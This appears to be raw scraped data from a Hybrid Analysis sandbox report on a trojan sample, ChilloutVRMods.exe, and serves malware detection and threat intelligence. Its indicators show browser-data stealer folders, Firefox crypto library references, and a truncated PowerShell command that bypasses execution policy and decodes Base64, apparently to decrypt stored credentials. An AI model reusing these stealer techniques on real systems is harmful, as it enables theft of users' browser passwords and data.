Python

24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 7e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4ea,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious MSIL/GenKryptik_AGeneric.CEX trojan Sample 70a0b041d945… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 70a0b041d945…. Malware family: MSIL/GenKryptik_AGeneric.CEX trojan. Threat score 100/100. 4/26 AV engines flagged this file. 14 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","keywords":["Malicious","MSIL/GenKryptik_AGeneric.CEX trojan","malware analysis","sandbox report","threat intelligence","70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b"],"about":{"@type":"SoftwareApplication","name":"ChilloutVRMods.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"MSIL/GenKryptik_AGeneric.CEX trojan","antivirusDetections":{"malicious":4,"total":26},"behavioralIndicators":{"malicious":14,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T55e,Found reference to "Cryptography_Oid_SetOnceValue" (Indicator: "Oid"; Source: "sample.bin"), Found reference to "Cryptography_RC2_EKSKS2" (Indicator: "RC2"; Source: "sample.bin"), Found reference to "Cryptography_CngKeyWrongAlgorithm" (Indicator: "CngKey"; Source: "sample.bin"), Found reference to "NotSupported_ECDsa_Csp" (Indicator: "ECDsa"; Source: "sample.bin"), Found reference to "CryptoConfigNotSupported" (Indicator: "CryptoConfig"; Source: "sample.bin"), Found reference to "Cryptography_UnknownHashAlgorithm" (Indicator: "HashAlgorithm"; Source: "sample.bin"), Found reference to "Argument_InvalidOidValue" (Indicator: "Oid"; Source: "sample.bin"), Found reference to "Cryptography_CertReq_MissingOidInCollection" (Indicator: "Oid"; Source: "sample.bin"), Found reference to "Cryptography_InvalidHashAlgorithmOid" (Indicator: "HashAlgorithm"; Source: "sample.bin"), Found reference to "Cryptography_InvalidHashAlgorithmOid" (Indicator: "Oid"; Source: "sample.bin"), Found reference to "Cryptography_HashAlgorithmNameNullOrEmpty" (Indicator: "HashAlgorithm"; Source: "sample.bin"), Found reference to "Cryptography_RC2_EKS40" (Indicator: "RC2"; Source: "sample.bin"), Found reference to "Argument_PemEncoding_InvalidLabel" (Indicator: "PemEncoding"; Source: "sample.bin"), Found reference to "Cryptography_Oid_InvalidValue" (Indicator: "Oid"; Source: "sample.bin")26:T7b7,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation.ni.dll" (Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp") Found string "n\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" (Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found string "ile:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found string "\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf38p" (Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp") Found string "WS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found string "\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf38" (Source: "00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp")27:T873,"zeppskdd.exe" called "RemoveDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local\output (UID: 00000000-00004592) "zeppskdd.exe" called "RemoveDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local\output\Browser-Datas (UID: 00000000-00004592) "zeppskdd.exe" called "RemoveDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local\output\Browser-Datas\chrome (UID: 00000000-00004592) "zeppskdd.exe" called "RemoveDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local\output\Browser-Datas\chrome\default (UID: 00000000-00004592) "zeppskdd.exe" called "RemoveDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local\output\Browser-Datas\edge (UID: 00000000-00004592) "zeppskdd.exe" called "RemoveDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local\output\Browser-Datas\edge\default (UID: 00000000-00004592) "zeppskdd.exe" called "RemoveDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local\output\Browser-Datas\firefox (UID: 00000000-00004592) "zeppskdd.exe" called "RemoveDirectoryW" with parameter \\?\%LOCALAPPDATA%\btwStealer-local\output\Browser-Datas\firefox\5xz6ua91.default-release (UID: 00000000-00004592) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-req-tracker-lx2u4fj4 (UID: 00000000-00000636) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-t19q18sc (UID: 00000000-00000636) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-i8mebha5 (UID: 00000000-00000636) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-install-zj_80_yc (UID: 00000000-00000636) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-ephem-wheel-cache-sb0qyhdv (UID: 00000000-00000636) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-req-tracker-0zzufgcc (UID: 00000000-00008784) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-_xqt0dgy (UID: 00000000-00008784) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-unpack-pv5hukxz (UID: 00000000-00008784) "python.exe" called "RemoveDirectoryW" with parameter %TEMP%\pip-install-tx4t3ocn (UID: 00000000-00008784)28:T57a,"zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\HYPERKBD\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\HYPERVIDEO\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\I8042PRT\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IAGPIO\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IAI2C\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IALPSS2I_GPIO2\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IALPSS2I_GPIO2_BXT_P\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IALPSS2I_GPIO2_CNL\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IALPSS2I_GPIO2_GLK\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IALPSS2I_I2C\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IALPSS2I_I2C_BXT_P\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IALPSS2I_I2C_CNL\PERFORMANCE") "zeppskdd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\IALPSS2I_I2C_GLK\PERFORMANCE")29:T15d6,"python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\encodings\__pycache__\__init__.cpython-310.pyc.1682462349616" to "%TEMP%\WinGet\tools\Lib\encodings\__pycache__\__init__.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\os.cpython-310.pyc.1682467068432" to "%TEMP%\WinGet\tools\Lib\__pycache__\os.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\collections\__pycache__\__init__.cpython-310.pyc.1682467668976" to "%TEMP%\WinGet\tools\Lib\collections\__pycache__\__init__.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\keyword.cpython-310.pyc.1682467329568" to "%TEMP%\WinGet\tools\Lib\__pycache__\keyword.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\operator.cpython-310.pyc.1682467329856" to "%TEMP%\WinGet\tools\Lib\__pycache__\operator.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\reprlib.cpython-310.pyc.1682467331296" to "%TEMP%\WinGet\tools\Lib\__pycache__\reprlib.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\functools.cpython-310.pyc.1682467334176" to "%TEMP%\WinGet\tools\Lib\__pycache__\functools.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\types.cpython-310.pyc.1682467333456" to "%TEMP%\WinGet\tools\Lib\__pycache__\types.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\__pycache__\__init__.cpython-310.pyc.1682467671056" to "%TEMP%\WinGet\tools\lib\site-packages\pip\__pycache__\__init__.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\typing.cpython-310.pyc.1682474068000" to "%TEMP%\WinGet\tools\Lib\__pycache__\typing.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\collections\__pycache__\abc.cpython-310.pyc.1682467672976" to "%TEMP%\WinGet\tools\Lib\collections\__pycache__\abc.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\re.cpython-310.pyc.1682474069152" to "%TEMP%\WinGet\tools\Lib\__pycache__\re.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\enum.cpython-310.pyc.1682474069440" to "%TEMP%\WinGet\tools\Lib\__pycache__\enum.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\sre_compile.cpython-310.pyc.1682473800960" to "%TEMP%\WinGet\tools\Lib\__pycache__\sre_compile.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\sre_parse.cpython-310.pyc.1682473801536" to "%TEMP%\WinGet\tools\Lib\__pycache__\sre_parse.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\copyreg.cpython-310.pyc.1682473845648" to "%TEMP%\WinGet\tools\Lib\__pycache__\copyreg.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\__pycache__\__main__.cpython-310.pyc.1682467673456" to "%TEMP%\WinGet\tools\lib\site-packages\pip\__pycache__\__main__.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_internal\__pycache__\__init__.cpython-310.pyc.1682474269696" to "%TEMP%\WinGet\tools\lib\site-packages\pip\_internal\__pycache__\__init__.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_internal\utils\__pycache__\__init__.cpython-310.pyc.1682473505824" to "%TEMP%\WinGet\tools\lib\site-packages\pip\_internal\utils\__pycache__\__init__.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_internal\utils\__pycache__\inject_securetransport.cpython-310.pyc.1682462276080" to "%TEMP%\WinGet\tools\lib\site-packages\pip\_internal\utils\__pycache__\inject_securetransport.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_internal\utils\__pycache__\_log.cpython-310.pyc.1682473513920" to "%TEMP%\WinGet\tools\lib\site-packages\pip\_internal\utils\__pycache__\_log.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\logging\__pycache__\__init__.cpython-310.pyc.1682467674096" to "%TEMP%\WinGet\tools\Lib\logging\__pycache__\__init__.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\traceback.cpython-310.pyc.1682473815328" to "%TEMP%\WinGet\tools\Lib\__pycache__\traceback.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\linecache.cpython-310.pyc.1682473816624" to "%TEMP%\WinGet\tools\Lib\__pycache__\linecache.cpython-310.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\__pycache__\tokenize.cpython-310.pyc.1682473817200" to "%TEMP%\WinGet\tools\Lib\__pycache__\tokenize.cpython-310.pyc"2a:T5e7,Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; File: "ChilloutVRMods.exe") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "ChilloutVRMods.exe") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; File: "ChilloutVRMods.exe") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "ChilloutVRMods.exe") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "ChilloutVRMods.exe") Found api reference "CertFreeCRLContext" (Indicator: "CertFreeCRLContext"; File: "ChilloutVRMods.exe") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; File: "ChilloutVRMods.exe") Found api reference "CertEnumCRLsInStore" (Indicator: "CertEnumCRLsInStore"; File: "ChilloutVRMods.exe") Found api reference "CertGetEnhancedKeyUsage" (Indicator: "CertGetEnhancedKeyUsage"; File: "ChilloutVRMods.exe") Found api reference "CertAddStoreToCollection" (Indicator: "CertAddStoreToCollection"; File: "ChilloutVRMods.exe") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; File: "ChilloutVRMods.exe") Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; File: "ChilloutVRMods.exe") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "ChilloutVRMods.exe") Found api reference "CryptImportKey" (Indicator: "CryptImportKey"; Source: "00000000-00002044.00000001.199487.7BBC0000.00000004.mdmp")2b:T58c,file/memory contains long string with (Indicator: "b64decode"; File: "low_level.py") file/memory contains long string with (Indicator: "base64.b64decode"; File: "low_level.py") Found reference to API "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQ" (Indicator: "FromBase64String"; Source: "00000000-00005100-00000C47-588557074") file/memory contains long string with (Indicator: "FromBase64String"; File: "cmd.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000000.199435.61760000.00000004.mdmp, 00000000-00002044.00000000.199435.62F60000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.61760000.00000004.mdmp, 00000000-00002044.00000001.199487.62F60000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003696.00000000.199860.B4590000.00000004.mdmp, 00000000-00003696.00000001.199884.B4590000.00000004.mdmp")2c:T422,Found string "%PROGRAMFILES%\Mozilla Firefox\nss3.dll" (Indicator: "\nss3.dll"; Source: "00000000-00003736-00000C2B-2101392671") Found string "%PROGRAMFILES%\Mozilla Firefox\softokn3.dll" (Indicator: "softokn3.dll"; Source: "00000000-00003736-00000C2B-2101446347") Found string "softokn3.dll" (Indicator: "softokn3.dll"; Source: "00000000-00003736-00000C66-2101471285") Found string "%PROGRAMFILES%\Mozilla Firefox\freebl3.dll" (Indicator: "\freebl3.dll"; Source: "00000000-00003736-00000C2B-2101476880") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00002656.00000000.200760.122C0000.00000004.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00003696.00000000.199860.B4590000.00000004.mdmp, 00000000-00003696.00000001.199884.B4590000.00000004.mdmp")2d:T4c9b,Contains base64 string in header "pypi" in header "GET /simple/pycryptodome/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "null" in header "GET /simple/pycryptodome/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "name" in header "GET /simple/pycryptodome/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "2021" in header "GET /simple/pycryptodome/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "Encoding" in header "GET /simple/pycryptodome/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "gzip" in header "GET /simple/pycryptodome/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "keep" in header "GET /simple/pycryptodome/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "/simple/pywin32/" in header "GET /simple/pywin32/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "pypi" in header "GET /simple/pywin32/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "null" in header "GET /simple/pywin32/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "name" in header "GET /simple/pywin32/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "2021" in header "GET /simple/pywin32/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "Encoding" in header "GET /simple/pywin32/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "gzip" in header "GET /simple/pywin32/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "keep" in header "GET /simple/pywin32/ HTTP/1.1Host: pypi.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: text/htmlConnection: keep-aliveCache-Control: max-age=0" Contains base64 string in header "/packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32" in header "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "pythonhosted" in header "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "null" in header "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "name" in header "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base64 string in header "2021" in header "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 